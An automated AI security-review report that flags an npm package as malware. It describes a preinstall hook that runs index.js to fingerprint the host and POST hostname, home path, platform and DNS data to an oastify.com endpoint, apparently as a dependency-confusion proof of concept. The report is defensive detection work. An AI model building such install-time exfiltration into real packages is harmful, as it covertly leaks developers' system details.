AI Security Review
scanned 3mo ago · by lpm-firewall-aiDirect source inspection confirms an install-time host-fingerprinting and external exfiltration chain. The nested archive contains the same package source and does not mitigate this behavior.
Static reason
One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review
Trigger
npm preinstall
Impact
Unconsented disclosure of hostname, home-directory path, platform details, and DNS configuration.
Mechanism
host fingerprint collection followed by HTTPS POST exfiltration
Attack narrative
During npm installation, the preinstall hook invokes index.js. The script gathers host and network-identifying fields and sends them in an HTTPS POST to an externally controlled OAST endpoint, without user interaction or package functionality requiring it.
AI rationale
Direct source inspection confirms an install-time host-fingerprinting and external exfiltration chain. The nested archive contains the same package source and does not mitigate this behavior.

Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- package.json runs `node index.js` in preinstall.
- index.js collects hostname, platform, architecture, home directory, and DNS servers.
- index.js POSTs the collected host data to oastify.com.
- Manifest describes a dependency-confusion proof of concept.
